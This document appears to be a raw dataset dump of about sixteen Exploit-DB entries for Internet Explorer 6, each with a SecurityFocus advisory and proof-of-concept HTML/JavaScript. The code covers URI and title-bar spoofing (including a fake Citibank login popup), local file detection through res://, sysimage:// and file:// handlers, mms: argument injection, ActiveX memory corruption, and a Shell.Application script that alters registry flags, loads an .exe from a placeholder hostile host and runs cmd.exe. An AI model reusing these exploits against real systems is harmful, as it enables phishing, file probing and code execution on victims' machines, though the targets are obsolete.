deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24714
Description: Microsoft Internet Explorer 6 - HTML Form Tags URI Obfuscation
Type: remote
Platform: windows
Date: 2004-10-30
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/11565/info

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness. The issue is due to a failure of the affected application to properly handle specially crafted HTML anchor URI tags and various form tags.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to originate from a trusted location.

This vulnerability is reported to affect Internet Explorer 6 SP2, other versions might also be affected.

<base href="http://www.example1.com">

<a href=><form action="http://www.example2.com"
method="get"><INPUT style="BORDER-RIGHT: 0pt; BORDER-TOP: 0pt;
FONT-SIZE: 10pt; BORDER-LEFT: 0pt;
CURSOR: hand; COLOR: blue; BORDER-BOTTOM: 0pt; BACKGROUND-COLOR:
transparent;TEXT-DECORATION: underline" type=submit
value=http://www.example1.com></form></a>

Another proof of concept exploit has been made available. This method employs the 'id' parameter embedded inside an anchor tag that is controlled by a 'label' tag, allowing the label tag to control what value is presented to an unsuspecting user:

<body style="color: WindowText; background-color: Window;">
<div>IE/OE Restricted Zone Status Bar Spoofing</div>
<div>Tested on Windows XP with SP2 installed.</div>
<p><a id="SPOOF" href="http://www.example.com/?maliciousContents"></a></p>
<div>
<a href="http://www.example.com/?trustedSite">
<table>
<caption>
<a href="http://www.example.com/?trustedSite ">
<label for="SPOOF">
<u style="cursor: pointer; color: blue">
http://www.example.com/?trustedSite
</u>
</label>
</a>
</caption>
</table>
</a>
</div>
Exploit-DB #24720
Description: Microsoft Internet Explorer 6 - IFRAME Status Bar URI Obfuscation
Type: remote
Platform: windows
Date: 2004-11-02
Author: Benjamin Tobias Franz

Exploit:
source: https://www.securityfocus.com/bid/11590/info

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to originate from a trusted location.

This vulnerability is reported to affect Internet Explorer 6, other versions might also be affected.

HTML code for page #1 called "btf.htm":

<a href="http://www.microsoft.com/">
<iframe src="./btf-spoofing.htm" frameborder="0" scrolling="no" width="70"
height="25" marginheight="0" marginwidth="0"></iframe>
</a>

HTML code for page #2 called "btf-spoofing.htm":

<a href="http://www.google.com/" target="_top">Click here</a>
Exploit-DB #29619
Description: Microsoft Internet Explorer 6 - Local File Access
Type: remote
Platform: windows
Date: 2007-02-20
Author: Rajesh Sethumadhavan

Exploit:
source: https://www.securityfocus.com/bid/22621/info

Microsoft Internet Explorer is reportedly prone to multiple local file-access weaknesses because the application fails to properly handle HTML tags.

These issues are triggered when an attacker entices a victim user to visit a malicious website.

Initial reports stated that remote attackers may exploit these issues to gain access to local system files via Internet Explorer. This would help attackers steal confidential information and launch further attacks. This attack would occur in the context of the user visiting the malicious site.

New conflicting reports indicate that these issues result only in verifying the presence of files on a vulnerable system.

These issues affect Internet Explorer 6 on a fully patched Windows XP SP2 system; previous versions and operating systems may also be vulnerable. 

The following proof-of-concept HTML code is available:

- Embed Tag Local file Access:

<EMBED SRC="file:///C:/example.pdf" HEIGHT=600 WIDTH=1440></EMBED>

- Object & Param Tag Local File Access:

<object type="audio/x-mid" data="file:///C:/example.mid" width="200"
height="20">
<param name="src" value="file:///C:/example.mid">
<param name="autoStart" value="true">
<param name="autoStart" value="0">
</object>

- Body Tag Local File Access:

<body background="file:///C:/example.gif" onload="alert('loading body
bgrd success')" onerror="alert('loading body bgrd error')">

- Style Tag Local File Access:

<STYLE type="text/css">BODY{background:url("file:///C:/example.gif")}
</STYLE>

- Bgsound Tag Local File Access:

<bgsound src="file:///C:/example.mid" id="soundeffect" loop=1 autostart=
"true"/>

- Input Tag Local File Access:

<form>
<input type="image" src="file:///C:/example.gif" onload="alert('loading
input success')" onerror="alert('loading input error')">
</form>

- Image Tag Local File Access:

<img src="file:///C:/example.jpg" onload="alert('loading image success')"
onerror="alert('loading image error')">

- Script Tag Local File Access:

<script src="file:///C:/example.js"></script>
Exploit-DB #24727
Description: Microsoft Internet Explorer 6 - Local Resource Enumeration
Type: remote
Platform: windows
Date: 2004-11-08
Author: Benjamin Tobias Franz

Exploit:
source: https://www.securityfocus.com/bid/11621/info


Microsoft Internet Explorer is reported prone to a local resource enumeration vulnerability. It is reported that the vulnerability exists because when handling 'res://' requests for local resources, Internet explorer behavior may reveal the existence of local files.

An attacker may employ information that is harvested in this manner to aid in further attacks that are launched against a target computer.


<textarea id="btft" rows="10" cols="75">&lt;/textarea&gt;<br>
<input type="text" id="btfn" value="iexplore.exe">
<input type="button" value="> Search >"
onClick="alert('File '+btfc(document.all.btfn.value));">

<script>

// Copyright (C) 2004 by Benjamin Tobias Franz (0-1-2-3@gmx.de)
//
// Search for files with known names in following directories:
// Root (C:/), WINDOWS, SYSTEM, SYSTEM32, DESKTOP, COMMAND,
// Internet Explorer

function btfc(btfp){
var btfe=0,btfp;
try{window.open("res://"+btfp,"_search");}
catch(e){btfe=1;}
if(btfe==1)return "'"+btfp+"' exists!\n";
else return "'"+btfp+"' does NOT exist!\n";}

var btfd="",btfv="BTF-AntiVirus: Search for '";
btfd+="Search for system files ...\n";
btfd+=btfc("autoexec.bat");
btfd+=btfc("msdos.sys");
btfd+=btfc("twain.dll");
btfd+=btfc("swflash.ocx");
btfd+=btfc("shell32.dll");
btfd+=btfc("test.txt");
btfd+=btfc("test.btf");
btfd+="\nSearch for shortcut files (on desktop) ...\n";
btfd+=btfc("Microsoft Word.lnk");
btfd+=btfc("IrfanView.lnk");
btfd+=btfc("Opera.lnk");
btfd+=btfc("Mozilla.lnk");
btfd+=btfc("Netscape 6.lnk");
btfd+=btfc("Netscape 7.lnk");
btfd+=btfc("btf.lnk");
btfd+="\nSearch for virus/worm files ...\n";
btfd+=btfv+"Badtrans' : "+btfc("kernel32.exe");
btfd+=btfv+"MTX' : "+btfc("wsock32.mtx");
btfd+=btfv+"MyLife.j' : "+btfc("usa.scr");
btfd+=btfv+"MyLife.f' : "+btfc("list480.txt.scr");
btfd+=btfv+"MyLife.c' : "+btfc("list.txt.scr");
btfd+=btfv+"MyLife.b' : "+btfc("cari.scr");
btfd+=btfv+"MyLife.a' : "+btfc("my life.scr");
btfd+=btfv+"Gibe' : "+btfc("bctool.exe ");
btfd+=btfv+"Klez' : "+btfc("wqk.exe");
btfd+=btfv+"MyParty' : "+btfc("regctrl.exe");
btfd+=btfv+"Maldal' : "+btfc("win.exe");
btfd+=btfv+"Gokar' : "+btfc("karen.exe");

// ...

document.all.btft.value=
"Copyright (C) 2004 by Benjamin Tobias Franz (0-1-2-3@gmx.de)\n\n"+
btfd;
</script>
Exploit-DB #23283
Description: Microsoft Internet Explorer 6 - Local Resource Reference
Type: remote
Platform: windows
Date: 2003-10-24
Author: Mindwarper

Exploit:
source: https://www.securityfocus.com/bid/8886/info

Microsoft Internet Explorer is prone to an issue that may allow for unauthorized access to local resources. Internet Explorer version 6 SP1 imposed restrictions to limit remote sites from accessing local resources via file:// or res:// URIs (or other variants). It is reported that these restrictions may be bypassed by adding an additional slash when specifying a resource via one of these protocols.

This could aid in exploitation of other vulnerabilities, such as issues that permit an attacker to create files on a client system in a predictable location. Such content could then be referenced by an attacker using these protocols. The initial vulnerability report stated that the issue allowed for Zone Restriction Bypass via malformed IFRAMES. Additional technical information has been provided that contradicts the initial analysis. BID 8900 was created to describe the separate issue in Macromedia Flash.

Liu Die Yu has released conflicting information that states that this issue occurs because the user is redirected into a local resource and then the local resource is being refreshed. It is reported that other variations such as "file://" or "[DriveLetter]:\[...]" also work with this exploit. This is currently under investigation. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21199.zip
Exploit-DB #24069
Description: Microsoft Internet Explorer 6 - Meta Data Foreign Domain Spoofing
Type: remote
Platform: windows
Date: 2004-04-30
Author: E.Kellinis

Exploit:
source: https://www.securityfocus.com/bid/10248/info

A vulnerability has been reported in Microsoft Internet Explorer that may facilitate certificate spoofing. This issue could aid in attacks which falsify web content to victim users.

The cause of the vulnerability is that it is possible to embed a certificate and content from a foreign domain (via SSL) into a web page. When the web page is visited by the client user, the user will be prompted to authorize the certificate from the foreign domain. This will make it appear as though the web page they are visiting is in the foreign domain.

It should be noted that while the connection will appear to be secure, as denoted by the closed lock icon in the right bottom corner of the browser window, the spoofed certicate may not be manually inspected (by clicking the lock icon). The browser will return a message stating that the document does not have a certificate associated with it when the lock is clicked by the user. This may give an indication that the certificate has been spoofed.

This vulnerability may be exploited to entice a user to trust a hostile web page.

This issue has been reported in Microsoft Internet Explorer 6. Earlier versions may also be affected.


< html>
< head>
< title>Your Page Title</title>
< meta http-equiv="REFRESH"
content="0;url=https://www.example.com/">

< META HTTP-EQUIV="Content-Type" CONTENT="text/html;">

< /HEAD>
< BODY onUnload='window.location=""'>

< /BODY>
< /HTML>
Exploit-DB #24354
Description: Microsoft Internet Explorer 6 - mms Protocol Handler Executable Command Line Injection
Type: remote
Platform: windows
Date: 2004-08-05
Author: Nicolas Robillard

Exploit:
source: https://www.securityfocus.com/bid/10879/info

A vulnerability has been reported to exist in Microsoft Internet Explorer that may allow remote attackers to pass arbitrary command line arguments to an application associated with the mms: URI protocol handler. Windows Media Player is the application normally associated with this URI protocol handler. 

This vulnerability would permit an attacker to influence the invocation arguments for the executable and could result in loss of compromise of various security properties. This may be exploited from a malicious Web page or possibly through HTML email.

It is not known if this issue is specific to the mms: URI protocol handler or if other URI protocol handlers on the system may be similarly affected. This vulnerability could be a general issue in Internet Explorer with many possible attack vectors, although there is not enough information available at this time to make this determination.

<A HREF=mms:\\."%20/layout%20c>TRY IT</A>
Exploit-DB #32049
Description: Microsoft Internet Explorer 6 - New ActiveX Object String Concatenation Memory Corruption
Type: remote
Platform: windows
Date: 2008-07-14
Author: 0x000000

Exploit:
source: https://www.securityfocus.com/bid/30219/info

Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability.

Remote attackers can exploit this issue to crash the affected application, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

<script>

for(i=0;i<33;i++){

   try{ 

   foo = new ActiveXObject("OutlookExpress.AddressBook").concat('3'+'3'+'3'); 

   }catch(e){}

}

</script>
Exploit-DB #25129
Description: Microsoft Internet Explorer 6 - Pop-up Window Title Bar Spoofing
Type: remote
Platform: windows
Date: 2005-02-21
Author: bitlance winter

Exploit:
source: https://www.securityfocus.com/bid/12602/info

Internet Explorer is reported prone to a pop-up window title bar spoofing weakness.

The weakness is reported to exist due to a flaw that manifests in script-initiated pop-up windows.

This issue may be leveraged by an attacker to display false URI information in the title bar of an Internet Explorer pop-up dialog window. This may facilitate phishing style attacks; other attacks may also be possible.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<!-- saved from url=(0014)about:internet -->
<html lang="x-klingon">
<head>
<title>Welcome to Citibank</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Content-Script-Type" content="text/javascript">

<script type="text/javascript">
<!-- Begin
function shellscript()
{
  window.focus();
  pURL = 'http://securelogin.citibank.com"+".e-gold.com/';
  sP = 'toolbar=0,scrollbars=0,location=0,statusbar=0,';
  sP += 'menubar=0,resizable=0,width=315,';
  sP += 'height=200,left = 250,top = 200'
  day = new Date();
  id = day.getTime();
  eval("page" + id + " = window.open(pURL, '" + id + "',sP);");
}

function main()
{
  targetURL = 'http://citibank.com/us/index.htm';
  x.DOM.Script.execScript(shellscript.toString());
  x.DOM.Script.setTimeout("shellscript()");
  location.replace(targetURL);
}

setTimeout(' main() ',1000);

// End -->
</script>

</head>

<object
        id="x"
        classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
        width="1"
        height="1"
        align="middle"
>
<param name="ActivateApplets" value="1">
<param name="ActivateActiveXControls" value="1">
</object>

</body>
</html>
Exploit-DB #24407
Description: Microsoft Internet Explorer 6 - Resource Detection
Type: remote
Platform: windows
Date: 2004-08-24
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/11026/info

Microsoft Internet Explorer is prone to a security weakness that may permit an attacker to determine the existence of resources on a vulnerable computer.

An attacker can use an IFRAME that is accessible within the same domain and change its URI to the location of a file or directory. The attacker can then determine the existence of the resource by the error message returned by Internet Explorer.

This weakness can then allow the attacker to carry out other attacks against a vulnerable computer.

This issue was tested on Microsoft Internet Explorer 5.0 and 6.0. Other versions of the browser are likely affected as well.

<iframe src="http://www.example.com"></iframe>
<script type="text/javascript">
onload=function () {
var sLocal="C:/some_file_or_folder";
frames[0].location.href=sLocal;
setTimeout(
function () {
try {
frames[0].document;
alert(sLocal+" does not exists.\nHere could execute a script that infects
the computer with some virus, trojan, etc");
} catch (oErr) {
alert(sLocal+" Exists.\nThen do nothing");
}
},
250
);
}
</script>
Exploit-DB #23131
Description: Microsoft Internet Explorer 6 - Script Execution
Type: remote
Platform: windows
Date: 2003-09-10
Author: Liu Die Yu & Jelmer

Exploit:
source: https://www.securityfocus.com/bid/8577/info

Multiple issues have been reported in Microsoft Internet Explorer. Though these issues have been reported by a reliable source, communication issues have presented difficulty in obtaining details surrounding the reported issues. This vulnerability entry will be updated when additional information becomes available.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21199.zip
Exploit-DB #24808
Description: Microsoft Internet Explorer 6 - Search Pane URI Obfuscation
Type: remote
Platform: windows
Date: 2004-12-08
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/11851/info

A remote URI obfuscation vulnerability has been found in Internet Explorer's search pane functionality. This issue is due to a failure of the application to present the URI address of HTML and script code loaded into the search pane.

This issue may be leveraged by an attacker to display misleading information in the address bar of the browser to an unsuspecting user while loading a third party Web site in the search pane. This may allow an attacker to present web pages to users that seem to originate from a trusted location. This may facilitate phishing style attacks; other attacks may also be possible.

<form id="foo" action="res://C:\WINDOWS\system32\shdoclc.dll/dnserror.htm#http://login.passport.net/uilogin.srf?id=malware.is.here" method="post"><


<input type="submit" value="default value">
</form>

<a id="fee" href="hotfemail.html" target="_search">test</a>

<script>

var malware = screen.availHeight;
window.moveTo(0, 0);
window.resizeTo(500, malware);
fee.click()
// setTimeout("fee.click();",1);

setTimeout("foo.submit();",1);


</script>
Exploit-DB #24249
Description: Microsoft Internet Explorer 6 - Shell.Application Object Script Execution
Type: remote
Platform: windows
Date: 2004-07-03
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/10652/info

Microsoft Internet Explorer is reported prone to a security weakness that may permit malicious HTML documents the ability to execute script code. This script code has the ability to alter registry settings that may allow for further attacks. In conjunction with other vulnerabilities, execution of attacker-supplied binaries may also be possible.

In particular, it is reported possible to alter the registry to allow for previously patched vulnerabilities to be exploitable again.

Exploitation of this weakness typically requires other vulnerabilities to redirect the browser into the Local Zone (or other appropriate Security Zone). Other attack vectors also exist, such as enticing a user to download an HTML document to their system then opening it with the Web browser. HTML email may also provide an attack vector for this weakness (in combination with other vulnerabilities). Cross-site scripting and HTML injection vulnerabilities in Web applications may also provide a surreptitious attack vector in unsuspecting clients. 

"Matthew Murphy" <mattmurphy@kc.rr.com> proposed:
<html><head>
<script language="JavaScript" defer>
function throw_onload() {
actx.RegWrite("HKCR\\exefile\\EditFlags", 0x38070000, "REG_BINARY");
window.close();
}
var actx = new ActiveXObject("WScript.Shell");
actx.RegWrite("HKCR\\exefile\\EditFlags", 256, "REG_BINARY");
document.writeln("<IFRAME SRC=\"http://www.somebadsite.com/file.exe\"
ONLOAD=\"throw_onload()\" />");
window.setTimeout("throw_onload()", 5000); // Don't know for sure if IE
fires OnLoad for .exe files! Anyone?
</script></head><body></body></html>

"http-equiv@excite.com" <1@malware.com> presented:
<iframe src="shell:windows\web\tip.htm"
style="width:400px;height:200px;"></iframe>
<textarea id="code" style="display:none;">
injected.
<script language="JScript" DEFER>
alert('attempting injection');
var obj=new ActiveXObject("Shell.Application");
obj.ShellExecute("cmd.exe","/c pause");
</script>
&lt;/textarea&gt;
<script language="javascript">
function doit() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin',
document.all.code.value);
}
setTimeout("doit()", 2000);
</script>
Exploit-DB #24802
Description: Microsoft Internet Explorer 6 - Sysimage Protocol Handler Local File Detection
Type: remote
Platform: windows
Date: 2004-12-07
Author: Gregory R. Panakkal

Exploit:
source: https://www.securityfocus.com/bid/11834/info

Microsoft Internet Explorer is reported prone to a vulnerability that may allow a remote site to detect files on the local computer. 

A remote attacker can exploit this issue through the ''sysimage://' protocol handler to detect the existence of a file on the local computer of the Web client viewing a malicious page. This could lead to a disclosure of sensitive information to remote attackers.

<img src="sysimage://C:\WINNT\Notepad.exe,666"
onLoad="document.write('<b>Cannot Find File!</b>');"
onError="document.write('<b>File Exists!</b>');">
Exploit-DB #24712
Description: Microsoft Internet Explorer 6 - TABLE Status Bar URI Obfuscation
Type: remote
Platform: windows
Date: 2004-10-28
Author: Benjamin Tobias Franz

Exploit:
source: https://www.securityfocus.com/bid/11561/info

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to originate from a trusted location.

This vulnerability is reported to affect Internet Explorer 6, other versions might also be affected.

Update: A report regarding this issue has been disclosed specifying that Internet Explorer version 6.0.2900.2180 may not be affected, or may be affected in a different manner. Symantec has confirmed that version 6.0.2800.1106 of Internet Explorer is vulnerable to this weakness.

NOTE: It has been reported that this issue does not affect Internet Explorer for Apple Mac OS X.

Update: Internet Explorer version 6.0.2900.2180 running on Windows XP SP2 is reportedly not vulnerable to this issue.

<a href="http://www.example1.com/"><table><tr><td><a
href="http://www.example2.com/">Click here</td></tr></table></a>
Exploit-DB #21803
Description: Microsoft Internet Explorer 6 - URI Handler Restriction Circumvention
Type: remote
Platform: windows
Date: 2002-09-10
Author: Thor Larholm

Exploit:
source: https://www.securityfocus.com/bid/5730/info

Microsoft Windows Internet Explorer 6.0 SP1 introduced restrictions for certain URI handlers (such as file:// and res://). It has been demonstrated in the past that these URI handlers could be abused and incorporated into different types of attacks against users of the browser, such as cross-protocol scripting attacks or attacks which access local resources. 

As a safety measure, Service Pack 1 addressed this issue by restricting the client from accessing any of the dangerous URI handlers from the Internet Zone.

However, it is possible to circumvent these restrictions by employing a HTTP redirect to a page which contains one of the restricted URIs.

It is still possible to open any file:// or res:// file automatically with: 

<object type="text/html" data="redirect.asp"></object> 

where redirect.asp makes a HTTP redirect using this HTTP header: 

Location: file://c:/test.txt